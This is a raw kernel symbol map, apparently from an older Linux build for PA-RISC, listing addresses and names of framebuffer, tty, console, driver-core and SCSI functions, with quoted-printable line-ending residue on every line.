10241238 t store_fbstate=0A=
102412a0 t show_fbstate=0A=
102412d0 T fb_init_class_device=0A=
10241328 T fb_cleanup_class_device=0A=
10241374 t my_atoi=0A=
102413a0 t fb_try_mode=0A=
10241460 T fb_find_mode=0A=
10241c78 T fb_var_to_videomode=0A=
10241d80 T fb_videomode_to_var=0A=
10241ddc T fb_mode_is_equal=0A=
10241e94 T fb_find_best_mode=0A=
10241f2c T fb_find_nearest_mode=0A=
10241fc8 T fb_match_mode=0A=
10242058 T fb_add_videomode=0A=
102420fc T fb_delete_videomode=0A=
102421a8 T fb_destroy_modelist=0A=
10242224 T fb_videomode_to_modelist=0A=
10242290 T fb_find_best_display=0A=
102423dc T fb_find_mode_cvt=0A=
10242bd8 t bitfill_aligned=0A=
10242d30 t bitfill_unaligned=0A=
10242f00 t bitfill_aligned_rev=0A=
10243078 t bitfill_unaligned_rev=0A=
10243250 T cfb_fillrect=0A=
102436e0 T cfb_copyarea=0A=
10244224 T cfb_imageblit=0A=
10244770 t SETUP_HW=0A=
102447b0 t SETUP_FB=0A=
10244908 t ngleSetupAttrPlanes=0A=
10244a00 t hyperUndoITE=0A=
10244ac8 t ngleDepth8_ClearImagePlanes=0A=
10244acc t ngleDepth24_ClearImagePlanes=0A=
10244ad0 t ngleResetAttrPlanes=0A=
10244c5c t ngleClearOverlayPlanes=0A=
10244d0c t stifb_read=0A=
10244e1c t stifb_write=0A=
10244f84 t stifb_setcolreg=0A=
102451fc t stifb_blank=0A=
10245404 t read_mem=0A=
10245520 t write_mem=0A=
1024562c t mmap_mem=0A=
102456a0 t mmap_kmem=0A=
102456e8 t read_kmem=0A=
10245870 t write_kmem=0A=
10245aa8 t read_port=0A=
10245ba4 t write_port=0A=
10245cb4 t read_null=0A=
10245cbc t write_null=0A=
10245cc4 t read_zero=0A=
10245ea8 t mmap_zero=0A=
10245ef4 t write_full=0A=
10245efc t null_lseek=0A=
10245f18 t memory_lseek=0A=
1024603c t open_port=0A=
10246060 t kmsg_write=0A=
102460f0 t memory_open=0A=
102461f0 t __add_entropy_words=0A=
102463b8 t credit_entropy_store=0A=
102463f4 t add_timer_randomness=0A=
10246564 T add_input_randomness=0A=
102465b0 T add_interrupt_randomness=0A=
102465f0 T add_disk_randomness=0A=
10246630 t account=0A=
10246764 t extract_buf=0A=
1024689c t extract_entropy=0A=
10246994 t xfer_secondary_pool=0A=
10246a74 t extract_entropy_user=0A=
10246bc0 T get_random_bytes=0A=
10246bf0 t init_std_data=0A=
10246c50 T rand_initialize_irq=0A=
10246cd0 T rand_initialize_disk=0A=
10246d18 t random_read=0A=
10246f64 t urandom_read=0A=
10246f84 t random_poll=0A=
10247038 t random_write=0A=
10247124 t random_ioctl=0A=
10247388 T generate_random_uuid=0A=
102473c8 t proc_do_uuid=0A=
102474fc t uuid_strategy=0A=
1024760c t rekey_seq_generator=0A=
10247680 T secure_ip_id=0A=
102476d4 T secure_tcp_sequence_number=0A=
10247784 T secure_ipv4_port_ephemeral=0A=
102477e0 T get_random_int=0A=
10247810 T randomize_range=0A=
10247878 t alloc_tty_struct=0A=
102478b4 t tty_buffer_free_all=0A=
10247910 T tty_name=0A=
10247944 T tty_paranoia_check=0A=
102479a4 t check_tty_count=0A=
10247a3c T tty_buffer_request_room=0A=
10247b54 T tty_insert_flip_string_flags=0A=
10247c10 T tty_insert_flip_string=0A=
10247cbc T tty_prepare_flip_string=0A=
10247d30 T tty_prepare_flip_string_flags=0A=
10247d98 t tty_set_termios_ldisc=0A=
10247e4c T tty_register_ldisc=0A=
10247eb8 T tty_unregister_ldisc=0A=
10247f08 T tty_ldisc_get=0A=
10247f74 T tty_ldisc_put=0A=
10248028 t tty_ldisc_assign=0A=
10248050 t tty_ldisc_try=0A=
1024807c T tty_ldisc_ref_wait=0A=
1024818c T tty_ldisc_ref=0A=
102481b8 T tty_ldisc_deref=0A=
10248264 t tty_ldisc_enable=0A=
102482a4 T tty_check_change=0A=
10248374 t hung_up_tty_read=0A=
1024837c t hung_up_tty_write=0A=
10248384 t hung_up_tty_poll=0A=
1024838c t hung_up_tty_ioctl=0A=
102483a4 T tty_wakeup=0A=
1024842c T tty_ldisc_flush=0A=
10248494 T tty_hangup=0A=
102484b0 T tty_hung_up_p=0A=
102484c8 T stop_tty=0A=
10248544 T start_tty=0A=
102485f0 t tty_read=0A=
102486fc t tty_write=0A=
102489c8 T redirected_tty_write=0A=
10248a40 t initialize_tty_struct=0A=
10248c44 t release_mem=0A=
10248e10 t init_dev=0A=
102493e0 t tty_poll=0A=
102494a4 t tty_fasync=0A=
102495b8 t do_tty_hangup=0A=
10249988 T tty_vhangup=0A=
102499a0 T disassociate_ctty=0A=
10249bc8 t release_dev=0A=
1024a378 t tty_open=0A=
1024a7ac t tty_release=0A=
1024a7cc t ptmx_open=0A=
1024ab14 t send_break=0A=
1024abec T tty_ioctl=0A=
1024bd58 t __do_SAK=0A=
1024befc T do_SAK=0A=
1024bf34 t flush_to_ldisc=0A=
1024c054 T tty_termios_baud_rate=0A=
1024c0b4 T tty_get_baud_rate=0A=
1024c128 T tty_flip_buffer_push=0A=
1024c15c t tty_default_put_char=0A=
1024c18c T tty_register_device=0A=
1024c2a8 T tty_unregister_device=0A=
1024c2e0 T alloc_tty_driver=0A=
1024c338 T put_tty_driver=0A=
1024c350 T tty_set_operations=0A=
1024c40c T tty_register_driver=0A=
1024c62c T tty_unregister_driver=0A=
1024c750 t n_tty_set_room=0A=
1024c788 t put_tty_queue_nolock=0A=
1024c7c8 t put_tty_queue=0A=
1024c7f0 t check_unthrottle=0A=
1024c840 t reset_buffer_flags=0A=
1024c8a0 t n_tty_flush_buffer=0A=
1024c8f8 t n_tty_chars_in_buffer=0A=
1024c940 t opost=0A=
1024cb78 t echo_char=0A=
1024cc20 t n_tty_write_wakeup=0A=
1024cc6c t n_tty_receive_buf=0A=
1024db4c T is_ignored=0A=
1024dbdc t n_tty_set_termios=0A=
1024e058 t n_tty_close=0A=
1024e08c t n_tty_open=0A=
1024e12c t copy_from_read_buf=0A=
1024e208 t read_chan=0A=
1024e960 t write_chan=0A=
1024ed64 t normal_poll=0A=
1024ef38 T tty_wait_until_sent=0A=
1024f080 t set_termios=0A=
1024f578 t send_prio_char=0A=
1024f60c T n_tty_ioctl=0A=
1024fc60 t pty_close=0A=
1024fd90 t pty_unthrottle=0A=
1024fdd0 t pty_write=0A=
1024fe34 t pty_write_room=0A=
1024fe54 t pty_chars_in_buffer=0A=
1024feb4 t pty_set_lock=0A=
1024ff28 t pty_flush_buffer=0A=
1024ffa0 t pty_open=0A=
10250014 t pty_set_termios=0A=
10250040 t pty_bsd_ioctl=0A=
10250074 t pty_unix98_ioctl=0A=
102500f4 t misc_seq_start=0A=
102501c8 t misc_seq_next=0A=
102501fc t misc_seq_stop=0A=
10250248 t misc_seq_show=0A=
1025029c t misc_seq_open=0A=
102502c0 t misc_open=0A=
10250618 T misc_register=0A=
10250880 T misc_deregister=0A=
102509b8 T vt_waitactive=0A=
10250adc T reset_vc=0A=
10250b54 t complete_change_console=0A=
10250c44 T vt_ioctl=0A=
102525bc T change_console=0A=
1025265c t vcs_size=0A=
102526dc t vcs_lseek=0A=
10252848 t vcs_read=0A=
10252c68 t vcs_write=0A=
102531ac t vcs_open=0A=
102531f0 T vcs_make_devfs=0A=
10253278 T vcs_remove_devfs=0A=
102532c8 T conv_uni_to_pc=0A=
10253364 t set_inverse_transl=0A=
10253438 T set_translate=0A=
10253460 T inverse_translate=0A=
102534a4 t update_user_maps=0A=
1025354c T con_set_trans_old=0A=
102535d4 T con_get_trans_old=0A=
10253694 T con_set_trans_new=0A=
10253714 T con_get_trans_new=0A=
1025377c t con_release_unimap=0A=
1025383c T con_free_unimap=0A=
10253890 t con_unify_unimap=0A=
10253a28 t con_insert_unipair=0A=
10253b2c T con_clear_unimap=0A=
10253c10 T con_set_unimap=0A=
10253eec T con_set_default_unimap=0A=
10254074 T con_copy_unimap=0A=
102540e0 T con_get_unimap=0A=
1025423c T con_protect_unimap=0A=
10254250 t sel_pos=0A=
10254288 T clear_selection=0A=
102542f4 T sel_loadlut=0A=
10254324 T set_selection=0A=
10254980 T paste_selection=0A=
10254b24 T getkeycode=0A=
10254ba0 T setkeycode=0A=
10254d3c t kd_nosound=0A=
10254e24 T kd_mksound=0A=
10254f24 T kbd_rate=0A=
10254ff4 t put_queue=0A=
1025507c t puts_queue=0A=
1025512c t applkey=0A=
10255170 t to_utf8=0A=
102551f4 T compute_shiftstate=0A=
10255310 t handle_diacr=0A=
102553b4 t fn_enter=0A=
10255428 t fn_caps_toggle=0A=
1025545c t fn_caps_on=0A=
1025548c t fn_show_ptregs=0A=
102554b4 t fn_hold=0A=
1025550c t fn_bare_num=0A=
10255540 t fn_num=0A=
1025557c t fn_lastcons=0A=
1025559c t fn_dec_console=0A=
10255600 t fn_inc_console=0A=
10255670 t fn_send_intr=0A=
102556fc t fn_scroll_forw=0A=
10255718 t fn_scroll_back=0A=
10255734 t fn_show_mem=0A=
1025574c t fn_show_state=0A=
10255764 t fn_boot_it=0A=
1025577c t fn_compose=0A=
1025578c t fn_spawn_con=0A=
102557dc t fn_SAK=0A=
10255810 t fn_null=0A=
10255828 t k_ignore=0A=
1025582c t k_spec=0A=
102558a4 t k_lowercase=0A=
102558c4 t k_self=0A=
10255940 t k_dead2=0A=
10255988 t k_dead=0A=
102559b4 t k_cons=0A=
102559e4 t k_fn=0A=
10255a44 t k_cur=0A=
10255a94 t k_pad=0A=
10255c8c t k_shift=0A=
10255dcc t k_meta=0A=
10255e48 t k_ascii=0A=
10255ea4 t k_lock=0A=
10255edc t k_slock=0A=
10255f88 T getledstate=0A=
10255f94 T setledstate=0A=
1025602c t kbd_bh=0A=
102561f4 t kbd_event=0A=
102567e0 t kbd_connect=0A=
10256948 t kbd_disconnect=0A=
1025696c T schedule_console_callback=0A=
1025698c t scrup=0A=
10256ac4 t scrdown=0A=
10256bd4 t do_update_region=0A=
10256dc8 t build_attr=0A=
10256f0c t update_attr=0A=
10256f88 T invert_screen=0A=
10257198 T complement_pos=0A=
10257358 t insert_char=0A=
1025749c t add_softcursor=0A=
1025756c t hide_cursor=0A=
10257618 t set_cursor=0A=
102576bc T update_region=0A=
10257774 t set_origin=0A=
1025783c t clear_buffer_attributes=0A=
1025787c t set_palette=0A=
10257900 T redraw_screen=0A=
10257b18 T vc_cons_allocated=0A=
10257b3c t visual_init=0A=
10257cbc t gotoxy=0A=
10257d7c t save_cur=0A=
10257dec T vc_resize=0A=
102581c8 T vc_disallocate=0A=
102582a8 t gotoxay=0A=
102582d8 T scrollback=0A=
1025830c T scrollfront=0A=
10258340 t lf=0A=
102583b8 t csi_J=0A=
10258590 t default_attr=0A=
102585ac t respond_string=0A=
10258658 T mouse_report=0A=
102586b0 T mouse_reporting=0A=
102586d0 t set_mode=0A=
10258960 T set_console=0A=
10258980 t restore_cur=0A=
10258a30 t reset_terminal=0A=
10258c34 T reset_palette=0A=
10258ca4 t vt_console_print=0A=
10258fac t vt_console_device=0A=
10258fd4 t con_flush_chars=0A=
10259034 t con_write_room=0A=
10259044 t con_chars_in_buffer=0A=
1025904c t con_throttle=0A=
10259050 t con_unthrottle=0A=
1025907c t con_stop=0A=
10259104 t con_start=0A=
1025918c t con_close=0A=
10259264 t vc_init=0A=
10259350 T vc_allocate=0A=
102594a4 t con_open=0A=
10259554 T do_blank_screen=0A=
10259878 T take_over_console=0A=
10259cc4 T give_up_console=0A=
10259d64 T do_unblank_screen=0A=
10259ee8 T unblank_screen=0A=
10259f04 T poke_blanked_console=0A=
10259ff8 t console_callback=0A=
1025a128 t do_con_write=0A=
1025bf50 t con_put_char=0A=
1025bf94 t con_write=0A=
1025bfc8 T tioclinux=0A=
1025c2c8 t blank_screen_t=0A=
1025c324 t set_get_cmap=0A=
1025c5d0 T con_set_cmap=0A=
1025c604 T con_get_cmap=0A=
1025c638 T con_font_op=0A=
1025cab0 T screen_glyph=0A=
1025cb30 T screen_pos=0A=
1025cb84 T getconsxy=0A=
1025cb98 T putconsxy=0A=
1025cbc4 T vcs_scr_readw=0A=
1025cbe8 T vcs_scr_writew=0A=
1025cc24 t gen_rtc_timer=0A=
1025cfd8 t genrtc_troutine=0A=
1025d428 t gen_rtc_read=0A=
1025d5ac t gen_rtc_poll=0A=
1025d604 t gen_rtc_ioctl=0A=
1025dec8 t gen_rtc_open=0A=
1025def8 t gen_rtc_release=0A=
1025df88 t gen_rtc_read_proc=0A=
1025e4b4 t serio_connect_driver=0A=
1025e59c t serio_reconnect_driver=0A=
1025e660 t serio_match_port=0A=
1025e6f4 t serio_release_driver=0A=
1025e734 t serio_find_driver=0A=
1025e774 t serio_queue_event=0A=
1025e8b0 T __serio_register_driver=0A=
1025e8d8 T __serio_unregister_port_delayed=0A=
1025e8f4 t serio_free_event=0A=
1025e948 t serio_remove_pending_events=0A=
1025e9d8 t serio_show_description=0A=
1025ea04 t serio_show_modalias=0A=
1025ea44 t serio_show_id_type=0A=
1025ea70 t serio_show_id_proto=0A=
1025ea9c t serio_show_id_id=0A=
1025eac8 t serio_show_id_extra=0A=
1025eaf4 t serio_show_bind_mode=0A=
1025eb30 t serio_set_bind_mode=0A=
1025ebd4 t serio_release_port=0A=
1025ebf0 T __serio_register_port=0A=
1025eccc t serio_destroy_port=0A=
1025ee08 t serio_disconnect_port=0A=
1025ee70 t serio_reconnect_port=0A=
1025eeb4 t serio_rebind_driver=0A=
1025f094 t serio_thread=0A=
1025f630 T serio_rescan=0A=
1025f650 T serio_reconnect=0A=
1025f670 T serio_unregister_port=0A=
1025f730 T serio_unregister_child_port=0A=
1025f7d8 t serio_driver_show_description=0A=
1025f820 t serio_driver_show_bind_mode=0A=
1025f85c t serio_driver_set_bind_mode=0A=
1025f8fc t serio_driver_probe=0A=
1025f924 t serio_driver_remove=0A=
1025f9c8 T serio_unregister_driver=0A=
1025fadc t serio_set_drv=0A=
1025faec t serio_bus_match=0A=
1025fb34 t serio_uevent=0A=
1025fcdc t serio_resume=0A=
1025fd1c T serio_open=0A=
1025fd70 T serio_close=0A=
1025fda8 T serio_interrupt=0A=
1025fe10 t wait_TBE=0A=
1025fea8 t gscps2_flush=0A=
1025fef0 t gscps2_enable=0A=
1025ffa8 t gscps2_reset=0A=
1025fffc t gscps2_interrupt=0A=
102601ac t gscps2_write=0A=
102602bc t gscps2_open=0A=
102602fc t gscps2_close=0A=
1026031c t gscps2_remove=0A=
102603a8 T ps2_sendbyte=0A=
102604dc T ps2_drain=0A=
102606a4 T ps2_command=0A=
10260a80 t ps2_execute_scheduled_command=0A=
10260ab0 T ps2_schedule_command=0A=
10260b8c T ps2_init=0A=
10260bf0 T ps2_handle_response=0A=
10260cb0 T ps2_handle_ack=0A=
10260d88 T ps2_cmd_aborted=0A=
10260de0 t dev_attr_show=0A=
10260e10 t dev_attr_store=0A=
10260e40 t device_release=0A=
10260eb8 t dev_uevent_filter=0A=
10260f08 t dev_uevent_name=0A=
10260f14 t dev_uevent=0A=
10261040 t store_uevent=0A=
10261068 t store_uevent=0A=
10261090 T get_device=0A=
102610b8 T put_device=0A=
102610e0 T device_create_file=0A=
10261150 T device_remove_file=0A=
102611a4 t klist_children_get=0A=
102611c0 t klist_children_put=0A=
102611dc T device_initialize=0A=
10261270 T device_add=0A=
102613c8 T device_register=0A=
102613ec T device_del=0A=
10261488 T device_unregister=0A=
102614ac T device_for_each_child=0A=
10261538 t sysdev_show=0A=
1026156c t sysdev_store=0A=
102615a4 T sysdev_create_file=0A=
102615c0 T sysdev_remove_file=0A=
102615dc T sysdev_class_register=0A=
10261614 T sysdev_class_unregister=0A=
10261630 T sysdev_driver_register=0A=
1026179c T sysdev_driver_unregister=0A=
102618c8 T sysdev_register=0A=
10261a54 T sysdev_unregister=0A=
10261b9c T sysdev_shutdown=0A=
10261db4 t __sysdev_resume=0A=
10261e7c T sysdev_suspend=0A=
102621ec T sysdev_resume=0A=
102622a0 t drv_attr_show=0A=
102622d4 t drv_attr_store=0A=
1026230c t driver_release=0A=
10262328 t bus_attr_show=0A=
1026235c t bus_attr_store=0A=
10262394 T get_bus=0A=
102623d4 T put_bus=0A=
102623f0 T bus_create_file=0A=
10262454 T bus_remove_file=0A=
102624a8 t driver_helper=0A=
102624d4 t next_device=0A=
102624fc t next_device=0A=
10262524 T bus_for_each_dev=0A=
102625bc T bus_find_device=0A=
10262654 t driver_bind=0A=
102627c8 t driver_unbind=0A=
102628f4 T bus_for_each_drv=0A=
10262998 T bus_add_device=0A=
10262aac T bus_remove_device=0A=
10262ba0 T bus_add_driver=0A=
10262d08 T bus_remove_driver=0A=
10262e1c t bus_rescan_devices_helper=0A=
10262ec0 T bus_rescan_devices=0A=
10262ee8 T find_bus=0A=
10262f1c t klist_devices_get=0A=
10262f38 t klist_devices_get=0A=
10262f54 t klist_devices_put=0A=
10262f70 t klist_devices_put=0A=
10262f8c t klist_drivers_get=0A=
10262fa8 t klist_drivers_put=0A=
10262fc4 T bus_register=0A=
10263154 T bus_unregister=0A=
102631d0 T device_bind_driver=0A=
1026325c T driver_probe_device=0A=
1026335c t __device_attach=0A=
10263374 T device_attach=0A=
10263458 t __driver_attach=0A=
10263554 T driver_attach=0A=
10263580 t __device_release_driver=0A=
1026363c T device_release_driver=0A=
102636ec T driver_detach=0A=
10263824 T driver_for_each_device=0A=
102638bc T driver_find_device=0A=
10263954 T get_driver=0A=
1026397c T put_driver=0A=
10263998 T driver_create_file=0A=
102639fc T driver_remove_file=0A=
10263a50 T driver_register=0A=
10263af8 T driver_unregister=0A=
10263b1c T driver_find=0A=
10263b50 t class_attr_show=0A=
10263b84 t class_attr_store=0A=
10263bbc t class_release=0A=
10263be8 T class_create_file=0A=
10263c0c T class_remove_file=0A=
10263c34 T class_get=0A=
10263c74 T class_put=0A=
10263c9c T class_register=0A=
10263e0c T class_unregister=0A=
10263e78 t class_create_release=0A=
10263e90 t class_device_create_release=0A=
10263ea8 t class_device_create_uevent=0A=
10263eb0 T class_create=0A=
10263f48 T class_destroy=0A=
10263f7c T class_device_create_file=0A=
10263fa0 T class_device_remove_file=0A=
10263fc8 T class_device_create_bin_file=0A=
10263fec T class_device_remove_bin_file=0A=
10264014 t class_device_attr_show=0A=
10264048 t class_device_attr_store=0A=
10264080 t class_dev_release=0A=
10264128 t class_uevent_filter=0A=
10264178 t class_uevent_name=0A=
10264184 t class_uevent=0A=
102643a0 t show_dev=0A=
102643d0 T class_device_initialize=0A=
10264404 t make_class_name=0A=
10264488 T class_device_get=0A=
102644b0 T class_device_put=0A=
102644d8 T class_device_add=0A=
10264824 T class_device_register=0A=
10264848 T class_device_create=0A=
1026494c T class_device_del=0A=
10264b18 T class_device_unregister=0A=
10264b3c T class_device_destroy=0A=
10264c2c T class_device_rename=0A=
10264d0c T class_interface_register=0A=
10264e38 T class_interface_unregister=0A=
10264f44 T platform_get_resource=0A=
10264f8c T platform_get_irq=0A=
10264fbc T platform_get_resource_byname=0A=
1026506c T platform_get_irq_byname=0A=
1026509c T platform_device_put=0A=
102650c4 t platform_device_release=0A=
102650f4 T platform_device_alloc=0A=
10265164 T platform_device_add_resources=0A=
102651dc T platform_device_add_data=0A=
1026523c T platform_device_add=0A=
10265430 T platform_device_register=0A=
10265458 T platform_device_del=0A=
102654f0 T platform_device_unregister=0A=
10265514 T platform_add_devices=0A=
102655a0 T platform_device_register_simple=0A=
10265628 t platform_drv_probe=0A=
10265654 t platform_drv_remove=0A=
10265680 t platform_drv_shutdown=0A=
102656ac t platform_drv_suspend=0A=
102656d8 t platform_drv_resume=0A=
10265704 T platform_driver_register=0A=
10265790 T platform_driver_unregister=0A=
102657ac t platform_match=0A=
102657d8 t platform_suspend=0A=
1026580c t platform_resume=0A=
10265840 T dma_get_required_mask=0A=
10265954 T register_cpu=0A=
102659f0 T get_cpu_sysdev=0A=
10265a08 T firmware_register=0A=
10265a2c T firmware_unregister=0A=
10265a44 T kobj_map=0A=
10265c1c T kobj_unmap=0A=
10265d78 T kobj_lookup=0A=
10265fd0 T kobj_map_init=0A=
1026608c t show_pools=0A=
10266224 T dma_pool_create=0A=
102663e4 T dma_pool_destroy=0A=
102665b0 T dma_pool_alloc=0A=
102668a8 T dma_pool_free=0A=
10266a18 t internal_container_klist_get=0A=
10266a34 t internal_container_klist_put=0A=
10266a50 T attribute_container_classdev_to_container=0A=
10266a58 T attribute_container_register=0A=
10266b58 T attribute_container_unregister=0A=
10266c34 t attribute_container_release=0A=
10266c60 T attribute_container_device_trigger=0A=
10266e08 T attribute_container_trigger=0A=
10266f38 T attribute_container_add_attrs=0A=
10266f9c T attribute_container_add_class_device=0A=
10266fcc T attribute_container_add_device=0A=
102671c4 T attribute_container_add_class_device_adapter=0A=
102671e0 T attribute_container_remove_attrs=0A=
10267234 T attribute_container_remove_device=0A=
102673fc T attribute_container_class_device_del=0A=
10267420 T attribute_container_find_class_device=0A=
10267480 T transport_class_register=0A=
10267498 T transport_class_unregister=0A=
102674b0 t anon_transport_dummy_function=0A=
102674b8 T anon_transport_class_register=0A=
10267508 T anon_transport_class_unregister=0A=
10267524 t transport_setup_classdev=0A=
10267550 T transport_setup_device=0A=
10267570 t transport_add_class_device=0A=
102675b8 T transport_remove_device=0A=
102675d8 T transport_add_device=0A=
102675f8 t transport_configure=0A=
10267624 T transport_configure_device=0A=
10267644 t transport_remove_classdev=0A=
102676bc t transport_destroy_classdev=0A=
10267710 T transport_destroy_device=0A=
10267730 T device_shutdown=0A=
102677dc t fw_load_abort=0A=
1026780c t firmware_timeout_show=0A=
10267838 t firmware_timeout_store=0A=
10267874 T firmware_class_uevent=0A=
1026795c t firmware_loading_show=0A=
1026798c t firmware_loading_store=0A=
10267b04 t firmware_data_read=0A=
10267c80 t firmware_data_write=0A=
10267e4c t fw_class_dev_release=0A=
10267e74 t firmware_class_timeout=0A=
10267e8c T release_firmware=0A=
10267ebc t _request_firmware=0A=
10268274 T request_firmware=0A=
10268290 T register_firmware=0A=
10268294 t request_firmware_work_func=0A=
102683a4 T request_firmware_nowait=0A=
10268524 t loopback_xmit=0A=
102685c8 t get_stats=0A=
10268644 t loopback_get_link=0A=
1026864c T scsi_allocate_request=0A=
102686c8 T __scsi_release_request=0A=
1026872c T scsi_release_request=0A=
10268750 T scsi_get_command=0A=
10268858 T scsi_put_command=0A=
10268904 T scsi_setup_command_freelist=0A=
10268a20 T scsi_destroy_command_freelist=0A=
10268ac8 T scsi_init_cmd_from_req=0A=
10268be0 T __scsi_done=0A=
10268c78 t scsi_done=0A=
10268ca8 T scsi_dispatch_cmd=0A=
10268f58 T scsi_retry_command=0A=
10268f90 T scsi_finish_command=0A=
10269054 T scsi_adjust_queue_depth=0A=
10269138 T scsi_track_queue_full=0A=
102691f8 T scsi_device_get=0A=
10269298 T scsi_device_put=0A=
102692f4 T __scsi_iterate_devices=0A=
10269384 T starget_for_each_device=0A=
10269460 T __scsi_device_lookup_by_target=0A=
1026949c T scsi_device_lookup_by_target=0A=
1026951c T __scsi_device_lookup=0A=
1026957c T scsi_device_lookup=0A=
102695c0 T scsi_device_cancel=0A=
10269720 T scsi_is_host_device=0A=
10269754 t scsi_host_cls_release=0A=
10269770 T scsi_host_set_state=0A=
10269848 T scsi_remove_host=0A=
10269958 T scsi_add_host=0A=
10269b28 t scsi_host_dev_release=0A=
10269bbc T scsi_host_alloc=0A=
10269ea8 T scsi_register=0A=
10269f1c T scsi_host_put=0A=
10269f38 T scsi_unregister=0A=
10269f7c T scsi_host_get=0A=
10269fb8 T scsi_host_lookup=0A=
1026a06c T scsi_init_hosts=0A=
1026a08c T scsi_exit_hosts=0A=
1026a0ac T scsi_queue_work=0A=
1026a0fc T scsi_flush_work=0A=
1026a144 t ioctl_internal_command=0A=
1026a298 T scsi_set_medium_removal=0A=
1026a338 T scsi_ioctl_send_command=0A=
1026a634 T scsi_ioctl=0A=
1026a9ac T scsi_nonblockable_ioctl=0A=
1026aac8 t get_sa_name=0A=
1026aafc t print_opcode_name=0A=
1026aef0 T __scsi_print_command=0A=
1026af80 T scsi_print_status=0A=
1026b218 T scsi_sense_key_string=0A=
1026b234 T scsi_extd_sense_format=0A=
1026b2f4 T scsi_print_sense_hdr=0A=
1026b488 T __scsi_print_sense=0A=
1026b764 T scsi_print_sense=0A=
1026b79c T scsi_print_req_sense=0A=
1026b7d4 T scsi_print_command=0A=
1026b88c T scsi_print_hostbyte=0A=
1026b8e4 T scsi_print_driverbyte=0A=
1026b958 T scsi_bios_ptable=0A=
1026b9e8 T scsi_partsize=0A=
1026bc04 T scsicam_bios_param=0A=
1026bdd4 T scsi_eh_wakeup=0A=
1026be08 T scsi_eh_scmd_add=0A=
1026bec8 T scsi_add_timer=0A=
1026bf6c T scsi_delete_timer=0A=
1026bf94 T scsi_times_out=0A=
1026c034 T scsi_block_when_processing_errors=0A=
1026c10c t scsi_eh_done=0A=
1026c13c t scsi_eh_finish_cmd=0A=
1026c1a4 t scsi_try_bus_device_reset=0A=
1026c228 T scsi_report_bus_reset=0A=
1026c278 t scsi_try_bus_reset=0A=
1026c324 t scsi_try_host_reset=0A=
1026c3d0 T scsi_report_device_reset=0A=
1026c42c t scsi_reset_provider_done_command=0A=
1026c430 T scsi_reset_provider=0A=
1026c580 T scsi_normalize_sense=0A=
1026c698 T scsi_command_normalize_sense=0A=
1026c6bc t scsi_check_sense=0A=
1026c8b0 t scsi_send_eh_cmnd=0A=
1026ca50 t scsi_eh_tur=0A=
1026cb54 t scsi_eh_try_stu=0A=
1026cc2c T scsi_decide_disposition=0A=
1026cf14 T scsi_error_handler=0A=
1026d8bc T scsi_request_normalize_sense=0A=
1026d8e0 T scsi_sense_desc_find=0A=
1026d95c T scsi_get_sense_info_fld=0A=
1026da74 t scsi_unprep_request=0A=
1026dab4 T scsi_do_req=0A=
1026db84 T scsi_execute=0A=
1026dc90 T scsi_execute_req=0A=
1026dd70 t scsi_end_async=0A=
1026ddd4 t scsi_bi_endio=0A=
1026de0c T scsi_execute_async=0A=
1026e214 t scsi_init_cmd_errh=0A=
1026e2a0 T scsi_setup_cmd_retry=0A=
1026e2f8 T scsi_device_unbusy=0A=
1026e364 t scsi_run_queue=0A=
1026e4c8 T scsi_queue_insert=0A=
1026e5b4 t scsi_requeue_command=0A=
1026e604 T scsi_next_command=0A=
1026e658 T scsi_run_host_queues=0A=
1026e6a0 t scsi_end_request=0A=
1026e7a8 t scsi_free_sgtable=0A=
1026e804 t scsi_release_buffers=0A=
1026e878 T scsi_io_completion=0A=
1026ecac t scsi_issue_flush_fn=0A=
1026ecf4 t scsi_blk_pc_done=0A=
1026ed4c t scsi_prep_fn=0A=
1026f170 t scsi_kill_request=0A=
1026f20c t scsi_softirq_done=0A=
1026f34c t scsi_request_fn=0A=
1026f630 T scsi_calculate_bounce_limit=0A=
1026f660 T scsi_alloc_queue=0A=
1026f738 T scsi_free_queue=0A=
1026f750 T scsi_block_requests=0A=
1026f760 T scsi_unblock_requests=0A=
1026f784 T scsi_exit_queue=0A=
1026f7d0 T scsi_mode_sense=0A=
1026fa8c T scsi_test_unit_ready=0A=
1026fb58 T scsi_device_set_state=0A=
1026fc30 T scsi_device_quiesce=0A=
1026fc90 T scsi_device_resume=0A=
1026fcc4 t device_quiesce_fn=0A=
1026fcdc T scsi_target_quiesce=0A=
1026fd00 t device_resume_fn=0A=
1026fd18 T scsi_target_resume=0A=
1026fd3c T scsi_internal_device_block=0A=
1026fd8c T scsi_internal_device_unblock=0A=
1026fddc t device_block=0A=
1026fdf4 t target_block=0A=
1026fe3c T scsi_target_block=0A=
1026fe8c t device_unblock=0A=
1026fea4 t target_unblock=0A=
1026feec T scsi_target_unblock=0A=
1026ff3c t scsi_alloc_sdev=0A=
10270160 t scsi_target_dev_release=0A=
102701dc T scsi_is_target_device=0A=
10270210 t scsi_target_reap_work=0A=
102702e0 T scsi_target_reap=0A=
10270374 t scsi_alloc_target=0A=
10270644 t scsi_probe_and_add_lun=0A=
10270f10 T int_to_scsilun=0A=
10270f64 T __scsi_add_device=0A=
1027102c T scsi_add_device=0A=
1027107c T scsi_rescan_device=0A=
10271118 t __scsi_scan_target=0A=
102716c8 T scsi_scan_target=0A=
10271784 t scsi_scan_channel=0A=
10271840 T scsi_scan_host_selected=0A=
10271954 T scsi_scan_host=0A=
1027197c T scsi_forget_host=0A=
102719e4 T scsi_get_host_dev=0A=
10271ab0 T scsi_free_host_dev=0A=
10271b28 T scsi_device_state_name=0A=
10271b60 T scsi_host_state_name=0A=
10271b98 t check_set=0A=
10271c14 t store_scan=0A=
10271d30 t store_shost_state=0A=
10271e1c t show_shost_state=0A=
10271e60 t show_unique_id=0A=
10271e8c t show_host_busy=0A=
10271eb8 t show_cmd_per_lun=0A=
10271ee8 t show_sg_tablesize=0A=
10271f14 t show_unchecked_isa_dma=0A=
10271f44 t show_proc_name=0A=
10271f74 t scsi_device_cls_release=0A=
10271f90 t scsi_device_dev_release=0A=
1027207c t scsi_bus_match=0A=
1027209c t scsi_bus_suspend=0A=
102720e8 t scsi_bus_resume=0A=
1027213c T scsi_sysfs_register=0A=
102721a4 T scsi_sysfs_unregister=0A=
102721d0 t sdev_show_device_blocked=0A=
102721fc t sdev_show_queue_depth=0A=
10272228 t sdev_show_type=0A=
10272258 t sdev_show_scsi_level=0A=
10272288 t sdev_show_vendor=0A=
102722b4 t sdev_show_model=0A=
102722e0 t sdev_show_rev=0A=
1027230c t sdev_show_timeout=0A=
10272344 t sdev_store_timeout=0A=
102723a0 t store_rescan_field=0A=
102723c0 t store_state_field=0A=
102724ac t show_state_field=0A=
102724f0 t show_queue_type_field=0A=
10272558 t show_iostat_counterbits=0A=
10272584 t show_iostat_iorequest_cnt=0A=
